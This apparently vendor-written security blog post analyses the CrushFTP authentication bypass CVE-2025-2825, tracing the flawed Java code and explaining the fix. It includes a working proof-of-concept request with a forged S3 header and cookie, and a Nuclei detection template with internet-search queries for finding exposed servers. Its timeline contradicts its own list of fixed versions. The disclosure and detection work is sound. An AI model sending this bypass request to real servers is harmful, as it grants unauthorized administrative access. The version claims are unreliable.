
Enterprise file transfer solutions are critical infrastructure for many organizations, facilitating secure data exchange between systems and users. CrushFTP, a widely used multi-protocol file transfer server, offers an extensive feature set including Amazon S3-compatible API access. However, a critical vulnerability (CVE-2025-2825) was discovered in versions 10.0.0 through 10.8.3 and 11.0.0 through 11.3.0 that allows unauthenticated attackers to bypass authentication and gain unauthorized access.
This vulnerability, originally discovered and reported by the Outpost24 team to CrustFTP, received a CVSS score of 9.8 (Critical) due to its low complexity, network-based attack vector, and potential impact. In this research, we explore how seemingly minor implementation details in authentication mechanisms—particularly the reuse of authentication flags for multiple purposes—can lead to severe security implications.
Understanding CrushFTP and S3 Authentication
CrushFTP supports multiple protocols including FTP, SFTP, WebDAV, and HTTP/S, making it a versatile file transfer solution. As of version 10, it also implements S3-compatible API access, allowing clients to interact with it using the same API format used for Amazon S3 storage services.
S3 authentication typically uses a request signing mechanism where clients include an Authorization
header with a format similar to:
http
1Authorization: AWS4-HMAC-SHA256 Credential=<AccessKey>/<Date>/<Region>/s3/aws4_request, SignedHeaders=<Headers>, Signature=<Signature>
The server extracts the AccessKey
value from the Credential
field to identify the user, then verifies the Signature
to ensure the request is authentic. CrushFTP's implementation of this mechanism contained a critical flaw that we'll examine in detail.
Vulnerability Deep Dive
The vulnerability exists in the loginCheckHeaderAuth()
method of ServerSessionHTTP.java
, which processes HTTP requests with S3-style authorization headers. Let's examine the key parts of this vulnerable code:
java
1if (this.headerLookup.containsKey("Authorization".toUpperCase()) &&
2 this.headerLookup.getProperty("Authorization".toUpperCase()).trim().startsWith("AWS4-HMAC")) {
3
4 // Extract the username from credential field
5 String s3_username = this.headerLookup.getProperty("Authorization".toUpperCase()).trim();
6 String s3_username2 = s3_username.substring(s3_username.indexOf("=") + 1);
7 String s3_username3 = s3_username2.substring(0, s3_username2.indexOf("/"));
8
9 // Initialize variables
10 String user_pass = null;
11 String user_name = s3_username3;
12 boolean lookup_user_pass = true; // Default to true - this is crucial!
13
14 // Check if username contains a tilde
15 if (s3_username3.indexOf("~") >= 0) {
16 user_pass = user_name.substring(user_name.indexOf("~") + 1);
17 user_name = user_name.substring(0, user_name.indexOf("~"));
18 lookup_user_pass = false;
19 }
20
21 // In version 11.3.0, there's no security check here
22
23 // Attempt to authenticate the user
24 if (this.thisSession.login_user_pass(lookup_user_pass, false, user_name, lookup_user_pass ? "" : user_pass)) {
25 // Authentication succeeds
26 }
27}
The critical issue is with the lookup_user_pass
flag. This flag has dual purposes:
- Originally, it was intended to indicate whether the system should look up a user's password from storage (when
true
) or use a provided password (whenfalse
) - However, the same flag is directly passed as the first parameter to
login_user_pass()
, where it is used as theanyPass
parameter
This parameter overloading creates the vulnerability - especially because by default, lookup_user_pass
is set to true
when processing S3 authentication headers if the username doesn't contain a tilde character (~).
Header Parsing and Username Extraction
Below is a concise analysis of how CrushFTP parses the Authorization header using our exploit example:
http
1Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
The parsing happens in sequential string operations:
java
1// Check if header exists and starts with "AWS4-HMAC"
2if (this.headerLookup.containsKey("Authorization".toUpperCase()) &&
3 this.headerLookup.getProperty("Authorization".toUpperCase()).trim().startsWith("AWS4-HMAC")) {
4
5 // Extract username through string operations
6 String s3_username = this.headerLookup.getProperty("Authorization".toUpperCase()).trim();
7 // s3_username = "AWS4-HMAC-SHA256 Credential=crushadmin/"
8
9 String s3_username2 = s3_username.substring(s3_username.indexOf("=") + 1);
10 // s3_username2 = "crushadmin/"
11
12 String s3_username3 = s3_username2.substring(0, s3_username2.indexOf("/"));
13 // s3_username3 = "crushadmin"
14
15 String user_name = s3_username3;
16 boolean lookup_user_pass = true; // Default to true
17
18 // Only change lookup_user_pass if username contains tilde
19 if (s3_username3.indexOf("~") >= 0) {
20 user_pass = user_name.substring(user_name.indexOf("~") + 1);
21 user_name = user_name.substring(0, user_name.indexOf("~"));
22 lookup_user_pass = false;
23 }
24}
The header works effectively because:
- It needs only to start with "AWS4-HMAC" to be processed as S3 authentication
- It requires only "Credential=username/" format to extract the username
- The signature validation is bypassed in the vulnerable flow
- No additional S3 parameters are needed as the code only extracts the username portion
This simple parsing makes exploitation straightforward, as attackers need only create a header with a valid username followed by a slash character.
Tracing the Authentication Flow
To fully understand this vulnerability, we need to follow the authentication flow through multiple method calls, tracing how the lookup_user_pass
flag ultimately leads to authentication bypass.
Step 1: loginCheckHeaderAuth() Method
The authentication process begins in the loginCheckHeaderAuth()
method, which is triggered when an HTTP request with an S3 authorization header is received:
java
1// Inside loginCheckHeaderAuth() in ServerSessionHTTP.java
2if (this.headerLookup.containsKey("Authorization".toUpperCase()) &&
3 this.headerLookup.getProperty("Authorization".toUpperCase()).trim().startsWith("AWS4-HMAC")) {
4 // ...
5
6 // Here, lookup_user_pass gets set to true by default
7 boolean lookup_user_pass = true;
8
9 // It only changes to false if the username contains a tilde
10 if (s3_username3.indexOf("~") >= 0) {
11 user_pass = user_name.substring(user_name.indexOf("~") + 1);
12 user_name = user_name.substring(0, user_name.indexOf("~"));
13 lookup_user_pass = false;
14 }
15
16 // The lookup_user_pass flag is then passed directly as the first parameter
17 if (this.thisSession.login_user_pass(lookup_user_pass, false, user_name, lookup_user_pass ? "" : user_pass)) {
18 // Authentication succeeds
19 }
20}
Step 2: login_user_pass() Method
The login_user_pass()
method in SessionCrush.java
takes lookup_user_pass
as its first parameter, named anyPass
:
java
1// Inside SessionCrush.java
2public boolean login_user_pass(boolean anyPass, boolean doAfterLogin, String user_name, String user_pass) throws Exception {
3 // Various validations and logging happen here
4
5 if (user_name.length() <= 2000) {
6 int length = user_pass.length();
7 ServerStatus serverStatus = ServerStatus.thisObj;
8 if (length <= ServerStatus.IG("max_password_length") || user_name.startsWith("SSO_OIDC_") /* other conditions */) {
9 Log.log("LOGIN", 3, new Exception(String.valueOf(LOC.G("INFO:Logging in with user:")) + user_name));
10 uiPUT("last_logged_command", "USER");
11
12 // Numerous other checks and validations
13
14 // Eventually we call verify_user with the anyPass parameter
15 boolean verified = verify_user(user_name, verify_password, anyPass, doAfterLogin);
16
17 if (verified && this.user != null) {
18 // Authentication success handling
19 return true;
20 }
21 }
22 }
23
24 return false;
25}
Step 3: verify_user() Method in SessionCrush
In the verify_user()
method (also in SessionCrush.java
), the anyPass
parameter is passed further down to the actual user verification function:
java
1// Inside SessionCrush.java
2public boolean verify_user(String theUser, String thePass, boolean anyPass, boolean doAfterLogin) {
3 // Various user validation and formatting logic
4
5 // The anyPass value is passed to the UserTools.ut.verify_user method
6 this.user = UserTools.ut.verify_user(ServerStatus.thisObj, theUser2, thePass,
7 uiSG("listen_ip_port"), this, uiIG("user_number"), uiSG("user_ip"),
8 uiIG("user_port"), this.server_item, loginReason, anyPass);
9
10 // The critical check: if anyPass is true, we don't consider a null user to be an authentication failure
11 if (!anyPass && this.user == null && !theUser2.toLowerCase().equals("anonymous")) {
12 this.user_info.put("plugin_user_auth_info", "Password incorrect.");
13 }
14
15 // Various other checks and return logic
16 return this.user != null;
17}
Step 4: UserTools.ut.verify_user() Method
The final step is in the verify_user()
method of UserTools.java
, where the anyPass
parameter determines whether password verification is required:
java
1// Inside UserTools.java
2public Properties verify_user(
3 ServerStatus server_status_frame,
4 String the_user,
5 String the_password,
6 String serverGroup,
7 SessionCrush thisSession,
8 int user_number,
9 String user_ip,
10 int user_port,
11 Properties server_item,
12 Properties loginReason,
13 boolean anyPass
14) {
15 // User lookup and validation logic
16 Properties user = this.getUser(serverGroup, the_user, true);
17
18 // Here's the critical vulnerability:
19 // If anyPass is true, password verification is skipped entirely
20 if (anyPass && user.getProperty("username").equalsIgnoreCase(the_user)) {
21 return user; // Authentication succeeds without any password check
22 }
23
24 // Otherwise normal password verification occurs
25 if (user.getProperty("username").equalsIgnoreCase(the_user) &&
26 check_pass_variants(user.getProperty("password"), the_password, user.getProperty("salt", ""))) {
27 return user;
28 }
29
30 // Authentication fails
31 return null;
32}
The most critical part of this chain is in UserTools.java
. When anyPass
is true
(which happens by default for S3 authorization headers without a tilde in the username), password verification is completely bypassed with this simple condition:
java
1if (anyPass && user.getProperty("username").equalsIgnoreCase(the_user)) {
2 return user; // Authentication succeeds without any password check
3}
This is a clear authentication bypass, the password check is skipped entirely.
Proof of Concept
Exploiting this vulnerability is straightforward. An attacker only needs to craft an HTTP request with:
- An AWS S3-style authorization header with a valid username
- A CrushAuth cookie with matching c2f parameter values
Here's the exploit:
http
1GET /WebInterface/function/?command=getUserList&c2f=1111 HTTP/1.1
2Host: target-server:8081
3Cookie: CrushAuth=1743113839553_vD96EZ70ONL6xAd1DAJhXMZYMn1111
4Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
Breaking down this exploit:
- We're using the simplest possible authorization header:
AWS4-HMAC-SHA256 Credential=crushadmin/
- No signature or additional S3 parameters are needed
- The username "crushadmin" has no tilde (~), so
lookup_user_pass
defaults totrue
- This causes the
anyPass
parameter to betrue
, bypassing password validation entirely - The CrushAuth cookie doesn't need to be valid - it just needs to be 44 characters in a specific format:
- First 13 characters as numbers (e.g., 1743113839553)
- An underscore (_)
- 30 characters string (e.g., vD96EZ70ONL6xAd1DAJhXMZYMn1111)
- The last 4 characters of this string (1111) must match the c2f parameter value
- This cookie can be completely random as long as it follows this format
We can verify the exploitation by examining the system's response - a successful response indicates the vulnerability has been successfully exploited. The attacker can then access files, upload malicious content, create admin users, Basically gain complete access to the server.
Understanding the Fix
CrushFTP addressed this vulnerability in version 11.3.1 through several key changes:
- A new security parameter
s3_auth_lookup_password_supported
was added and set tofalse
by default:
java
1// In Common.java
2default_settings.put("s3_auth_lookup_password_supported", "false");
- A security check was added to block the vulnerable path when
lookup_user_pass
would betrue
:
java
1// In ServerSessionHTTP.java
2if (s3_username3.indexOf("~") >= 0) {
3 user_pass = user_name.substring(user_name.indexOf("~") + 1);
4 user_name = user_name.substring(0, user_name.indexOf("~"));
5 lookup_user_pass = false;
6} else {
7 ServerStatus serverStatus = ServerStatus.thisObj;
8 if (!ServerStatus.BG("s3_auth_lookup_password_supported")) {
9 return; // Early exit prevents vulnerable authentication flow
10 }
11}
- The authentication flow was changed to properly implement the intended behavior of
lookup_user_pass
:
java
1// In ServerSessionHTTP.java
2Properties tmp_user = UserTools.ut.getUser(this.thisSession.server_item.getProperty("linkedServer", ""), user_name);
3if (tmp_user != null && lookup_user_pass) {
4 // Actually look up the user's password from storage
5 user_pass = com.crushftp.client.Common.encryptDecrypt(tmp_user.getProperty("password"), false);
6}
7if (tmp_user != null && user_pass != null) {
8 // Continue authentication with proper validation
9}
These changes effectively address the vulnerability by ensuring proper password validation occurs even when processing S3 authentication headers. The fix separates the concerns of password lookup from authentication bypass, correctly implementing the intended logic.
Nuclei Template for Detection
We've created a Nuclei template to easily identify vulnerable CrushFTP instances:
Link to the template: https://cloud.projectdiscovery.io/public/CVE-2025-2825
yaml
1id: CVE-2025-2825
2
3info:
4 name: CrushFTP Authentication Bypass
5 author: parthmalhotra,Ice3man,DhiyaneshDk,pdresearch
6 severity: critical
7 description: |
8 CrushFTP versions 10.0.0 through 10.8.3 and 11.0.0 through 11.3.0 are affected by a vulnerability that may result in unauthenticated access. Remote and unauthenticated HTTP requests to CrushFTP may allow attackers to gain unauthorized access.
9 reference:
10 - https://projectdiscovery.io/blog/crushftp-authentication-bypass/
11 - https://www.crushftp.com/crush11wiki/Wiki.jsp?page=Update
12 - https://www.rapid7.com/blog/post/2025/03/25/etr-notable-vulnerabilities-in-next-js-cve-2025-29927/
13 classification:
14 cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
15 cvss-score: 9.8
16 cve-id: CVE-2025-2825
17 cwe-id: CWE-287
18 epss-score: 0.00039
19 epss-percentile: 0.08378
20 metadata:
21 max-request: 2
22 vendor: crushftp
23 product: crushftp
24 shodan-query:
25 - http.title:"CrushFTP WebInterface"
26 - http.favicon.hash:-1022206565
27 - http.html:"crushftp"
28 fofa-query:
29 - icon_hash="-1022206565"
30 - title="CrushFTP WebInterface"
31 - body="crushftp"
32 tags: cve,cve2025,crushftp,unauth,auth-bypass,rce
33
34variables:
35 string_1: "{{rand_text_numeric(13)}}"
36 string_2: "{{rand_text_alpha(28)}}"
37 string_3: "{{rand_text_numeric(4)}}"
38
39http:
40 - raw:
41 - |
42 GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f={{string_3}} HTTP/1.1
43 Cookie: CrushAuth={{string_1}}_{{string_2}}{{string_3}}; currentAuth={{string_3}}
44 Host: {{Hostname}}
45 Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
46 Origin: {{RootURL}}
47 Referer: {{RootURL}}/WebInterface/login.html
48 X-Requested-With: XMLHttpRequest
49 Accept-Encoding: gzip
50
51 - |
52 GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f={{string_3}} HTTP/1.1
53 Cookie: CrushAuth={{string_1}}_{{string_2}}{{string_3}}; currentAuth={{string_3}}
54 Host: {{Hostname}}
55 Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
56 Origin: {{RootURL}}
57 Referer: {{RootURL}}/WebInterface/login.html
58 X-Requested-With: XMLHttpRequest
59 Accept-Encoding: gzip
60
61 stop-at-first-match: true
62 matchers-condition: and
63 matchers:
64 - type: word
65 part: body
66 words:
67 - "<user_list_subitem>crushadmin</user_list_subitem>"
68
69 - type: word
70 part: content_type
71 words:
72 - "text/xml"
73
74 - type: status
75 status:
76 - 200
This template attempts to access the user list API via the authentication bypass. A successful exploit returns an HTTP 200 response with all users present in the CrushFTP server. We noticed certain server configurations require two requests to trigger this vulnerability; therefore, the template sends two requests.
Nuclei Templates Lab - CVE-2025-2825
We have recently launched our Nuclei Templates Lab, a dedicated environment designed for hands-on practice with the latest CVEs. We've included a lab specifically for CVE-2025-2825, allowing you to explore and understand this vulnerability in a controlled setting. You can access the lab for this CVE here.
Timeline for CVE-2025-2825:
- March 26, 2025: The National Vulnerability Database (NVD) published details of CVE-2025-2825, highlighting a critical vulnerability in CrushFTP versions 10.0.0 through 10.8.3 and 11.0.0 through 11.3.0 that may result in unauthenticated access.
- March 26, 2025: CrushFTP released versions 11.2.3 and 10.8.3 to address the vulnerability and urged customers to upgrade their server instances promptly.
- March 27, 2025: Security articles and advisories began circulating, emphasizing the critical nature of the vulnerability and recommending immediate patching.
- March 28, 2025: The ProjectDiscovery Research Team published a Nuclei template to detect CVE-2025-2825, facilitating the identification of vulnerable CrushFTP instances.
Conclusion
CVE-2025-2825 demonstrates how parameter overloading in authentication systems can lead to critical vulnerabilities. This case shows that reusing a flag meant for password lookup as an authentication bypass control creates a severe security flaw.
For developers, this underscores the importance of maintaining clear separation of concerns in security-critical code. When implementing multi-protocol authentication systems, consistent validation across all paths is essential.
If you're running CrushFTP, upgrade to version 11.3.1+ immediately or implement network-level access controls to restrict server connections.
This nuclei template is now part of the ProjectDiscovery Cloud platform, so you can automatically detect this vulnerability across your infrastructure. We also offer free monthly scans to help you detect emerging threats, covering all major vulnerabilities on an ongoing basis, plus a complete 30-day trial available to business email addresses.